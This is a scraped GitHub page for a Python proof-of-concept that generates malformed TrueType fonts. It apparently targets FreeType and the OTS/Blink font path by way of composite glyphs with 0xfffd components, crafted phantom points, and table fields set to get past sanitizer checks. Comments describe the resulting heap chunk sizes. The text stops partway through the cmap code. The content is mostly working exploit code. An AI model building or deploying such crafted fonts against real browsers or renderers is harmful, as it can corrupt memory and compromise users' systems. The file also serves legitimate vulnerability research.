-
Notifications
You must be signed in to change notification settings - Fork 11
Expand file tree
/
Copy pathfont_gen_POC.py
More file actions
1537 lines (1308 loc) · 51.6 KB
/
Copy pathfont_gen_POC.py
File metadata and controls
1537 lines (1308 loc) · 51.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#######################################################################################
# Font_generator: Simple font generator
#
# by @tin-z (Altin 0v4rl0r5[at]gmail[dot]com)
#######################################################################################
#
# Font_generator is distributed under the MIT License (MIT)
# Copyright (c) 2025, Altin (tin-z)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import struct
import time
import random
import sys
import math
DBG = 1
# Define here how many char to map, and so the num of glyphs
#########################
## Modify here
# Define cmap records (Unicode code points to glyph IDs)
cmap_records = {
0x00: 0, # .notdef
0x20: 1, # space
0x41: 2, # A
0x42: 3, # B
#ord('N'): 4,
#ord('O'): 5,
#ord('P'): 6,
}
# klyph char per
glyph_attack_vectors = {
0x42: 0xfffd,
#ord('N'): 0xfffd,
#ord('O'): 0xfffd,
#ord('P'): 0xfffd,
}
## Also note, from blink code 30MB is font maximum allowed size
# static const size_t kMaxDecompressedSize =
# kMaxDecompressedSizeMb * 1024 * 1024;
# so in the end we have 29 composite glyphs, 10MB
#cmap_records.update( {k:(i+len(cmap_records)) for i,k in enumerate(range(ord('C'), ord('Z')+1, 1))} )
#glyph_attack_vectors.update( {k:0xfffd for i,k in enumerate(range(ord('C'), ord('Z')+1, 1))} )
#cmap_records.update( {k:(i+len(cmap_records)) for i,k in enumerate(range(ord('a'), ord('f')+1, 1))} )
#glyph_attack_vectors.update( {k:0xfffd for i,k in enumerate(range(ord('a'), ord('f')+1, 1))} )
num_glyphs = len(cmap_records)
# continue from here
# https://learn.microsoft.com/en-us/typography/opentype/spec/
# https://developer.apple.com/fonts/TrueType-Reference-Manual/RM06/Chap6vmtx.html
# https://www.fontmaster.nl/pdf/OT_docs/OT_Technote.pdf
# https://simoncozens.github.io/fonts-and-layout/opentype.html
# https://adobe-type-tools.github.io/afdko/OpenTypeFeatureFileSpecification.html
# ref: https://learn.microsoft.com/en-us/typography/opentype/spec/chapter2
# Data Type Description
# uint8 8-bit unsigned integer.
# int8 8-bit signed integer.
# uint16 16-bit unsigned integer.
# int16 16-bit signed integer.
# uint24 24-bit unsigned integer.
# uint32 32-bit unsigned integer.
# int32 32-bit signed integer.
# Fixed 32-bit signed fixed-point number (16.16)
# FWORD int16 that describes a quantity in font design units.
# UFWORD uint16 that describes a quantity in font design units.
# F2DOT14 16-bit signed fixed number with the low 14 bits of fraction (2.14).
# LONGDATETIME Date ... signed 64-bit integer.
# Tag Array of four uint8s (length = 32 bits)
# Offset8 8-bit offset to a table, same as uint8, NULL offset = 0x00
# Offset16 Short offset to a table, same as uint16, NULL offset = 0x0000
# Offset24 24-bit offset to a table, same as uint24, NULL offset = 0x000000
# Offset32 Long offset to a table, same as uint32, NULL offset = 0x00000000
# Version16 Dot16Packed 32-bit value with major and minor version numbers.
# Version16Dot16 Dot16Packed 32-bit value with major and minor version numbers.
# https://learn.microsoft.com/en-us/typography/opentype/spec/glyf
# Component Glyph flags
# 0x0001 ARG_1_AND_2_ARE_WORDS Bit 0: If this is set, the
# arguments are 16-bit (uint16 or int16); otherwise, they are bytes
# (uint8 or int8).
#
# 0x0002 ARGS_ARE_XY_VALUES Bit 1: If this is set, the
# arguments are signed xy values;
# otherwise, they are unsigned
# point numbers.
#
# 0x0004 ROUND_XY_TO_GRID Bit 2: If set and
# ARGS_ARE_XY_VALUES is also set,
# the xy values are rounded to
# the nearest grid line. Ignored
# if ARGS_ARE_XY_VALUES is not
# set.
#
# 0x0008 WE_HAVE_A_SCALE Bit 3: This indicates that
# there is a simple scale for the
# component. Otherwise, scale =
# 1.0.
#
# 0x0020 MORE_COMPONENTS Bit 5: Indicates at least one
# more glyph after this one.
#
# 0x0040 WE_HAVE_AN_X_AND_Y_SCALE Bit 6: The x direction will use
# a different scale from the y
# direction.
#
# 0x0080 WE_HAVE_A_TWO_BY_TWO Bit 7: There is a 2 by 2
# transformation that will be
# used to scale the component.
#
# 0x0100 WE_HAVE_INSTRUCTIONS Bit 8: Following the last
# component are instructions for
# the composite glyph.
#
# 0x0200 USE_MY_METRICS Bit 9: If set, this forces the
# aw and lsb (and rsb) for the
# composite to be equal to those
# from this component glyph. This
# works for hinted and unhinted
# glyphs.
#
# 0x0400 OVERLAP_COMPOUND Bit 10: If set, the components
# of the compound glyph overlap.
# Use of this flag is not
# required — that is, component
# glyphs may overlap without
# having this flag set. When
# used, it must be set on the
# flag word for the first
# component. Some rasterizer
# implementations may require
# fonts to use this flag to
# obtain correct behavior — see
# additional remarks, above, for
# the similar OVERLAP_SIMPLE flag
# used in simple-glyph
# descriptions.
#
# 0x0800 SCALED_COMPONENT_OFFSET Bit 11: The composite is
# designed to have the component
# offset scaled. Ignored if
# ARGS_ARE_XY_VALUES is not set.
#
# 0x1000 UNSCALED_COMPONENT_OFFSET Bit 12: The composite is
# designed not to have the
# component offset scaled.
# Ignored if ARGS_ARE_XY_VALUES
# is not set.
#
# 0xE010 Reserved Bits 4, 13, 14 and 15
# are reserved: set to 0.
#
component_glyph_flags = {0x0001, 0x0002, 0x0004, 0x0008, 0x0020, 0x0040, 0x0080}
indexToLocFormat = random.randint(0, 1)
# hack
indexToLocFormat = 1
glyph_offsets = [ -1 for _ in range(num_glyphs+1) ]
numOfLongVerMetrics = 0
numOfLongHorMetrics = 0
axisCount = -1
def_axisCount = 3
instanceCount = -1
lookupListSize = 0
lookupListSizeGPOS = 0
def_itemVariationStoreSize = 2
kMaxGlyphClassDefValue = 4
instancesHavePostScriptNameID = False
valueFormat_flags = {1,2,4,8,0x10,0x20,0x40,0x80}
# 0x0001 X_PLACEMENT Includes horizontal adjustment for placement.
# 0x0002 Y_PLACEMENT Includes vertical adjustment for placement.
# 0x0004 X_ADVANCE Includes horizontal adjustment for advance.
# 0x0008 Y_ADVANCE Includes vertical adjustment for advance.
# 0x0010 X_PLACEMENT_DEVICE Includes Device table (non-variable font) / VariationIndex table
# (variable font) for horizontal placement.
#
# 0x0020 Y_PLACEMENT_DEVICE Includes Device table (non-variable font) / VariationIndex table
# (variable font) for vertical placement.
#
# 0x0040 X_ADVANCE_DEVICE Includes Device table (non-variable font) / VariationIndex table
# (variable font) for horizontal advance.
#
# 0x0080 Y_ADVANCE_DEVICE Includes Device table (non-variable font) / VariationIndex table
# (variable font) for vertical advance.
#
# 0xFF00 Reserved For future use (set to zero).
#
r_valueFormat_flags = lambda : random.randint(1, 0x8f)
is_variable_font = False
output_file_format = "TTF"
output_file_tag = b"\x00\x01\x00\x00"
hdmx_insertable = 0
markGlyphSets_count = 0
mp_0_f = lambda x : random.randint(0,9) // x
mp_0_1 = lambda : mp_0_f(9) # 0.9 prob false
mp_0_2 = lambda : mp_0_f(8) # 0.8 prob false
mp_0_3 = lambda : mp_0_f(7) # 0.7 prob false
mp_0_4 = lambda : mp_0_f(6) # 0.6 prob false
mp_0_5 = lambda : random.randint(0,1) # 0.5 prob false
mp_0_6 = lambda : mp_0_f(4) # 0.4 prob false
mp_0_7 = lambda : mp_0_f(3) # 0.3 prob false
mp_0_8 = lambda : mp_0_f(2) # 0.2 prob false
mp_0_9 = lambda : mp_0_f(2) # 0.1 prob false
mp_0_10 = lambda : 1 # 0.0 prob false
u32 = 2**32-1
i32_min = -2**31
i32_max = 2**31-1
#
u16 = 2**16-1
i16_min = -2**15
i16_max = 2**15-1
#
u8 = 2**8-1
i8_min = -2**7
i8_max = 2**7-1
r32 = lambda : random.randint(0, u32)
ri32 = lambda : random.randint(i32_min, i32_max)
r16 = lambda : random.randint(0, u16)
ri16 = lambda : random.randint(i16_min, i16_max)
ri16_pos = lambda : random.randint(0, i16_max)
ri16_neg = lambda : random.randint(i16_min, -1)
r8 = lambda : random.randint(0, u8)
ri8 = lambda : random.randint(i8_min, i8_max)
#
r10 = lambda : random.choice([1,7,8,10])
r128 = lambda : random.choice([1,8,10,0x7f,0x80])
r256 = lambda : random.choice([1,10,0x7f,0x80,0xff,0x100])
r65535 = lambda : random.choice([0, 1, 0x7,0x8,0xf,0x10,0x7f,0x80,0xff,0x100, 0xfffe, 0xffff])
r32g = lambda : random.choice(
[ 0, 1, 0x7,0x8,0xf,0x10,0x7f,0x80,0xff,0x100, 0xfffe, 0xffff,
0xf0ffff, 0xf00ffff, 0xf000ffff, 0x7ffffffe, 0xffffffff
]
)
#
rbit_f = lambda x : random.randint(0, 2**x-1)
rbit = lambda : rbit_f(1)
rbit2 = lambda : rbit_f(2)
rbit3 = lambda : rbit_f(3)
rbit4 = lambda : rbit_f(4)
rbit5 = lambda : rbit_f(5)
rbit6 = lambda : rbit_f(6)
rbit7 = lambda : rbit_f(7)
rbit8 = lambda : rbit_f(8)
rbit12 = lambda : rbit_f(12)
rbit13 = lambda : rbit_f(13)
rbit14 = lambda : rbit_f(14)
rbit15 = lambda : rbit_f(15)
rbit16 = lambda : rbit_f(16)
rbit17 = lambda : rbit_f(17)
rbit18 = lambda : rbit_f(18)
rbit19 = lambda : rbit_f(19)
rbit20 = lambda : rbit_f(20)
rbit21 = lambda : rbit_f(21)
rbit22 = lambda : rbit_f(22)
rbit23 = lambda : rbit_f(23)
rbit24 = lambda : rbit_f(24)
rbit28 = lambda : rbit_f(28)
rbit32 = lambda : rbit_f(32)
#
rbit_lim_f = lambda x : random.choice([2**x-1 for x in range(x+1)])
rbit_lim = lambda : rbit_lim_f(1)
rbit2_lim = lambda : rbit_lim_f(2)
rbit3_lim = lambda : rbit_lim_f(3)
rbit4_lim = lambda : rbit_lim_f(4)
rbit5_lim = lambda : rbit_lim_f(5)
rbit6_lim = lambda : rbit_lim_f(6)
rbit7_lim = lambda : rbit_lim_f(7)
rbit8_lim = lambda : rbit_lim_f(8)
rbit9_lim = lambda : rbit_lim_f(9)
rbit10_lim = lambda : rbit_lim_f(10)
rbit11_lim = lambda : rbit_lim_f(11)
rbit12_lim = lambda : rbit_lim_f(12)
rbit13_lim = lambda : rbit_lim_f(13)
rbit14_lim = lambda : rbit_lim_f(14)
rbit15_lim = lambda : rbit_lim_f(15)
rbit16_lim = lambda : rbit_lim_f(16)
rbit17_lim = lambda : rbit_lim_f(17)
rbit18_lim = lambda : rbit_lim_f(18)
rbit19_lim = lambda : rbit_lim_f(19)
rbit20_lim = lambda : rbit_lim_f(20)
rbit21_lim = lambda : rbit_lim_f(21)
rbit22_lim = lambda : rbit_lim_f(22)
rbit23_lim = lambda : rbit_lim_f(23)
rbit24_lim = lambda : rbit_lim_f(24)
rbit25_lim = lambda : rbit_lim_f(25)
rbit26_lim = lambda : rbit_lim_f(26)
rbit27_lim = lambda : rbit_lim_f(27)
rbit28_lim = lambda : rbit_lim_f(28)
rbit29_lim = lambda : rbit_lim_f(29)
rbit30_lim = lambda : rbit_lim_f(30)
rbit31_lim = lambda : rbit_lim_f(31)
rbit32_lim = lambda : rbit_lim_f(32)
#
r_neg16bit = lambda : random.choice([0x7777,0x7f7f,0xf7f7,0xffff])
r_even = lambda x : random.choice(range(2, x+1, 2))
r_ascii = lambda : random.randint(0x20, 126)
r_tag = r_ascii
## Set Phantom Points
#
# ref: https://developer.apple.com/fonts/TrueType-Reference-Manual/RM06/Chap6gvar.html
#
# So that a glyph can vary in its dimensions as well as its shape, tuples have
# entries for each point in the glyph plus entries for four "phantom points,"
# which represent the glyph's side-bearings. These phantom points are, in
# order, the left-side phantom point, the right-side phantom point, the top
# phantom point, and the bottom phantom point.
#
#
# more details can be found in tt_loader_set_pp function
#
#
##
pp_delta = 0x200
pp_xMin = i16_min + pp_delta
pp_yMin = i16_min + pp_delta
pp_xMax = i16_max - pp_delta
pp_yMax = i16_max - pp_delta
pp = [ {} for _ in range(5) ]
for i in range(1,5):
#pp_x = (0x10 * (2**i))
#pp_y = (0x10 * (2**i)) | 0x1
pp_x = 0
pp_y = 0
pp[i]["x"] = pp_x
pp[i]["y"] = pp_y
pp[1]["x"] = -1
#pp[2]["x"] = 2 # must be 2 so we can set pp3.x and pp4.y to 1
pp[2]["x"] = 1
# these values depends on pp2.x and pp1.x
pp[3]["x"] = 1
pp[4]["x"] = 1
#
# extract from tt_loader_set_pp function:
#
#
# use_aw_2 = FT_BOOL( subpixel_hinting && grayscale );
#
# loader->pp1.x = loader->bbox.xMin - loader->left_bearing;
# loader->pp1.y = 0;
# loader->pp2.x = loader->pp1.x + loader->advance;
# loader->pp2.y = 0;
#
# loader->pp3.x = use_aw_2 ? loader->advance / 2 : 0;
# loader->pp3.y = loader->bbox.yMax + loader->top_bearing;
# loader->pp4.x = use_aw_2 ? loader->advance / 2 : 0;
# loader->pp4.y = loader->pp3.y - loader->vadvance;
#
#
# freetype/ftglyph.h
# * width = bbox.xMax - bbox.xMin;
# * height = bbox.yMax - bbox.yMin;
#
#
# pp1.x = xMin - lsb
# lsb = xMin - pp1.x
#
# pp2.x = pp1.x + width
# width = pp2.x - pp1.x
#
# pp3.y = yMax + tsb
# tsb = pp3.y - yMax
#
# pp4.y = pp3.y - height
# height = pp3.y - pp4.y
#
# advance = width = pp2.x - pp1.x
# pp3.x = pp4.x = advance / 2
#
# fix non negative pp3.y and pp4.y
# pp3.y should be greater or equal to pp4.y
pp[3]["y"] = 0
# after inspecting freetype initiliazing loader->pp1
# we noticed that /* pp1.y and pp2.y are always zero */
pp_lsb = pp_xMin - pp[1]["x"]
pp_width = pp[2]["x"] - pp[1]["x"]
pp_tsb = pp[3]["y"] - pp_yMax
pp_height = pp[3]["y"] - pp[4]["y"]
print("PP constants")
print("")
print(f"pp1.x: {hex(pp[1]['x'])}")
print(f"pp2.x: {hex(pp[2]['x'])}")
print(f"pp3.x: {hex(pp[3]['x'])}")
print(f"pp4.x: {hex(pp[4]['x'])}")
print("")
print(f"width: {pp_width}")
print(f"lsb: {pp_lsb}")
print(f"height: {pp_height}")
print(f"tsb: {pp_tsb}")
print("")
def roundup(x,y):
e = x % y
if e:
return (y - e)
return 0
round4 = lambda x: roundup(x,4)
def d_round4(data, default_byte=b"\x00"):
l1 = len(data)
l2 = round4(l1)
if l2:
data += l2*default_byte
return data
def create_font(output_path):
def write_sfnt_header(num_tables):
global output_file_tag
# SFNT header structure
sfnt_format = '>HHHH'
search_range = 16 * (2 ** ((num_tables - 1).bit_length() - 1))
entry_selector = (num_tables - 1).bit_length() - 1
range_shift = (num_tables * 16) - search_range
return output_file_tag + struct.pack(
sfnt_format,
num_tables, # Number of tables
search_range, # Maximum power of 2 <= numTables*16
entry_selector, # Log2(max power of 2)
range_shift # NumTables*16 - SearchRange
)
def write_table_directory(offset, tables):
# Each table entry is 16 bytes: tag, checksum, offset, length
offset += 16 * len(tables)
print(f"Data offset starting from: 0x{offset:x}")
directory = b''
for i, (tag, data) in enumerate(tables):
#checksum = sum(struct.unpack(
# '>I', data[i:i+4] + b'\0' * (4 - len(data[i:i+4])))
# for i in range(0, len(data), 4)
#) & 0xFFFFFFFF
checksum = 0
# hack
data_len = len(data)
data = d_round4(data) # set 0s but don't update length, offset must be 4-byte aligned cause ots
if tag in ["cvt ", "fpgm", "prep"]:
data_len = len(data)
directory += struct.pack(
'>4sIII',
tag, checksum, offset, data_len
)
offset += len(data)
print("{} 0x{:x} 0x{:x}".format(tag, offset, len(data)))
tables[i][1] = data
return directory
def write_glyf_table():
# TODO:
# - improve
"""
Generate a simplified glyf table for the glyphs .notdef, space, A, B.
Each glyph will have randomized outlines or no outlines for simplicity.
"""
global glyph_offsets
global cmap_records, glyph_attack_vectors
def create_composite_glyph(glyph_indexes, custom_borders=[], instr=[]):
global component_glyph_flags
#
xMin = i16_min
yMin = i16_min
xMax = i16_max
yMax = i16_max
if custom_borders :
xMin = custom_borders[0]
yMin = custom_borders[1]
xMax = custom_borders[2]
yMax = custom_borders[3]
#
header = struct.pack(">5h", -1, xMin, yMin, xMax, yMax)
body = b""
# 0x0020 MORE_COMPONENTS Bit 5: Indicates at least one
lst = glyph_indexes[:-1]
til = glyph_indexes[-1]
if len(glyph_indexes) > 1:
for idx in lst:
flg = 0x20 # repeat flag flag
body += struct.pack(">2H2B", flg, idx, 0, 0)
WE_HAVE_A_TWO_BY_TWO = 0x0080
WE_HAVE_INSTRUCTIONS = 0x0100
flg = WE_HAVE_INSTRUCTIONS if instr != [] else 0
#flg |= WE_HAVE_A_TWO_BY_TWO
body += struct.pack(">2H2B", flg, til, 0, 0)
#xscale = 1
#scale01 = 1
#scale10 = 1
#yscale = 1
#body += struct.pack(">4h", xscale, scale01, scale10, yscale)
if flg:
body += struct.pack(">H", len(instr))
body += b"".join([struct.pack("B", x) for x in instr])
return header+body
def create_simple_glyph(contours, points):
"""
Helper to create a simple glyph.
- `contours`: Number of contours in the glyph (0 for empty).
- `points`: List of tuples for (x, y) points in the contour.
"""
# Glyph header format: '>3hH3h'
# - numberOfContours: short
# - xMin, yMin, xMax, yMax: short each
# Contour end points, instruction length, instructions, and coordinates follow.
num_contours = len(contours)
x_coords = [p[0] for p in points]
x_coords.sort()
y_coords = [p[1] for p in points]
y_coords.sort()
# Calculate bounds
x_min = random.randint(i16_min+1, i16_max-1) if x_coords else 0
y_min = random.randint(i16_min+1, i16_max-1) if y_coords else 0
x_max = random.randint(x_min, i16_max-1) if x_coords else 0
y_max = random.randint(y_min, i16_max-1) if y_coords else 0
# Build glyph header
header = struct.pack(
'>h4h',
num_contours, x_min, y_min, x_max, y_max
)
if num_contours > 0:
# Contour end points
end_pts_of_contours = b''.join(struct.pack('>H', p) for p in contours)
# No instructions (dummy for now)
instructions = b''
instruction_length = struct.pack('>H', 0)
variable_size = contours[-1]
flags = b'\x00' * (variable_size+1)
x_deltas = b''.join(struct.pack('>h', x) for x in x_coords)
y_deltas = b''.join(struct.pack('>h', y) for y in y_coords)
rets = header + end_pts_of_contours + instruction_length + instructions + flags + x_deltas + y_deltas
else:
rets = header
print("RETS: ")
print(contours, points)
print(rets)
print("")
return rets
# Randomize glyph points for demonstration purposes
def random_points(count, x_range, y_range):
return [(random.randint(*x_range), random.randint(*y_range)) for _ in range(count)]
# Glyph definitions with randomized points
glyphs = {
#'.notdef': create_simple_glyph(
# [1],
# random_points(1, (0, 100), (0, 100))
#), # Empty glyph
#'space': create_simple_glyph(
# [1],
# random_points(1, (0, 100), (0, 100))
#),
'.notdef': create_simple_glyph(
[1],
random_points(1+1, (0, 100), (0, 100))
),
'space': create_simple_glyph(
[],
[],
),
'A': create_simple_glyph(
[3],
random_points(3+1, (0, 100), (0, 100))
),
}
custom_glyphs = []
for k in list(cmap_records.keys())[3:] :
if k == 0:
continue
if chr(k) not in glyphs:
custom_glyphs.append(chr(k))
glyphs.update({
chr(k): create_simple_glyph(
[1],
random_points(1+1, (0, 100), (0, 100))
)
})
for k, composite_size in glyph_attack_vectors.items():
glyphs.update({
chr(k) : create_composite_glyph(
#[2 for _ in range(0xfffd)] # avoid ots check on accumulated points:
# component_point_count.accumulated_component_points > u16
[1 for _ in range(0xfffd)], # -3 -> 0x10 chunk
#[1 for _ in range(0xfffe)], # -2 -> 0x20 chunk
#[1 for _ in range(0xffff)], # -1 -> 0x30 chunk
#[1 for _ in range(composite_size)],
custom_borders=[pp_xMin, pp_yMin, pp_xMax, pp_yMax],
instr = [0x00]
)
})
glyf_data = b''.join(glyphs[g] for g in ['.notdef', 'space', 'A'] + custom_glyphs )
tot_offset = 0
tot_glyphs = list(glyphs.items())
for i,[k,v] in enumerate(tot_glyphs):
if i == 0:
glyph_offsets[i] = 0
else:
glyph_offsets[i] = glyph_offsets[i-1] + len(tot_glyphs[i-1][1])
glyph_offsets[-1] = len(glyf_data)
# Combine glyphs into glyf table
for i,v in enumerate(glyph_offsets):
if v < 0:
raise Exception(f"glyf {i} offset is not initialized")
#
return [b'glyf', glyf_data]
def write_head_table():
# parsed
# <head> table in fixed format
global indexToLocFormat, hdmx_insertable
indexToLocFormat = random.randint(0, 1)
# hack
indexToLocFormat = 1
head_format = '>2H3I2H2q4h2H3h'
# ots: // We allow bits 0..4, 11..13
flags = random.randint(0, 2**5-1) | (random.randint(0, 2**3-1) << 11)
#
# fix
# cause ots drops hdmx table if if ((head->flags & 0x14) == 0) {
#
# also this flag is used for setting ClearType mode on freetype i guess
flags |= 0x14
# fix
#
hdmx_insertable = flags & 0x14
upem = random.randint(16, 16384)
xmin = random.randint(i16_min, i16_max-1)
ymin = random.randint(i16_min, i16_max-1)
xmax = random.randint(xmin+1, i16_max)
ymax = random.randint(ymin+1, i16_max)
macStyle = random.randint(1,0x7f)
table_data = struct.pack(
head_format,
1,
0,
1,
0x9fe5c40f,
0x5f0f3cf5,
flags,
upem,
int(time.mktime(time.strptime("Tue Sep 20 15:02:17 2016", "%a %b %d %H:%M:%S %Y"))),
int(time.mktime(time.strptime("Tue Sep 20 15:02:17 2016", "%a %b %d %H:%M:%S %Y"))),
xmin,
ymin,
xmax,
ymax,
macStyle,
0,
random.randint(-2, 2), # Randomized fontDirectionHint
indexToLocFormat,
0
)
return [b'head', table_data]
def write_maxp_table():
# parsed
"""
Generate a maxp table for 4 glyphs with randomized values.
"""
# Randomly choose version: 0x00005000 (version 0.5) or 0x00010000 (version 1.0)
global num_glyphs
version = random.choice([0x00005000, 0x00010000])
#hack
version = 0x00005000
if version == 0x00005000:
# Version 0.5 structure
maxp_format = '>IH'
table_data = struct.pack(maxp_format, version, num_glyphs)
print("[maxp] version 0.5: ", maxp_format, version, num_glyphs)
else:
# Version 1.0 structure
maxp_format = '>IH13H'
print("[maxp] version 1.0: ", maxp_format, version, num_glyphs)
# Randomized values for additional fields
max_points = random.randint(10, 50)
max_contours = random.randint(1, 10)
max_composite_points = random.randint(0, 50)
max_composite_contours = random.randint(0, 10)
max_zones = random.choice([1, 2])
max_twilight_points = random.randint(0, 20)
max_storage = random.randint(0, 20)
max_function_defs = random.randint(1, 10)
max_instruction_defs = random.randint(0, 10)
max_stack_elements = random.randint(200, 500)
max_size_of_instructions = random.randint(0, 300)
max_component_elements = random.randint(1, 5)
max_component_depth = random.randint(1, 3)
table_data = struct.pack(
maxp_format,
version,
num_glyphs,
max_points,
max_contours,
max_composite_points,
max_composite_contours,
max_zones,
max_twilight_points,
max_storage,
max_function_defs,
max_instruction_defs,
max_stack_elements,
max_size_of_instructions,
max_component_elements,
max_component_depth
)
return [b'maxp', table_data]
def write_cmap_table():
# parsed
"""
Generate a cmap table for 4 glyphs with randomized entries.
For now use only cmap format 0, with cmap_records indexed
and the rest chars being mapped to glyphid 0
TODO:
- cmap format 8, ...
"""
# Randomize platformID and encodingID combinations
global num_glyphs, cmap_records
platform_ids = [0, 1, 3] #, 4] # Unicode, Macintosh, Windows, Custom
encoding_ids = {
0: [0, 1, 3, 4], #, 5], # Unicode
1: [0], #1], # Macintosh
3: [0, 1], #, 10], # Windows
# 4: [0] # Custom (not supported by ots)
}
formats_sup = {
0 : {
0 : [4],
1 : [4],
3 : [4, 12],
4 : [12],
5 : [14],
},
1 : {
0 : [0],
},
3 : {
0 : [4],
1 : [4],
10 : [12,13],
}
}
format_not_validated = [2,6,8,10]
for platform in formats_sup:
for k in formats_sup[platform]:
formats_sup[platform][k].extend(format_not_validated)
# Random number of subtables (1 to 20)
num_subtables = random.randint(2, 4)
# hack
num_subtables = 1
# Construct cmap header
cmap_format = '>HH'
cmap_data = struct.pack(cmap_format, 0, num_subtables)
# Generate subtables
subtable_entries = []
subtable_data = b''
# hack
# to fix this
def gen_valid_range_count():
global num_glyphs, cmap_records
segcount_start = (num_glyphs if num_glyphs % 2 else num_glyphs) + 4
segcount = random.choice(range(segcount_start, segcount_start+4, 2))
segcountx2 = segcount << 1
log2segcount = 0
while (1 << (log2segcount + 1)) <= segcount:
log2segcount += 1
expected_search_range = 2 * (1 << log2segcount)
range_shift = segcountx2 - expected_search_range
return segcountx2, expected_search_range, log2segcount, range_shift
def write_cmap_format_4_POC(*args, **kwargs):
# ref https://learn.microsoft.com/en-us/typography/opentype/spec/cmap
global num_glyphs, cmap_records
#
segCount = len(cmap_records)
segcountx2 = segCount*2
log2segcount = math.floor(math.log2(segCount))
expected_search_range = 2 * (2**log2segcount)
range_shift = segcountx2 - expected_search_range
ranges = [segcountx2, expected_search_range, log2segcount, range_shift]
#
glyph_size = 0
#
subtable_length = (2 * ((4 * segCount) + glyph_size)) + 6 + 8 + 2
subtable_header = struct.pack('>7H', 4, subtable_length, 0, *ranges)
#
# endCodes and startcodes must be in a incremental order
endCodes = []
startCodes = []
idDeltas = []
for k,gid_ in cmap_records.items():
if k == 0:
continue
startCodes.append(k)
endCodes.append(k)
idDeltas.append(gid_ - k)
startCodes.append(0xffff)
endCodes.append(0xffff)
idDeltas.append(1)
size_codes = len(endCodes)
print(size_codes, endCodes)
print(*[0 for _ in range(len(endCodes))])
fmt_ = f">{size_codes}H"
fmt_2_ = f">{size_codes}h"
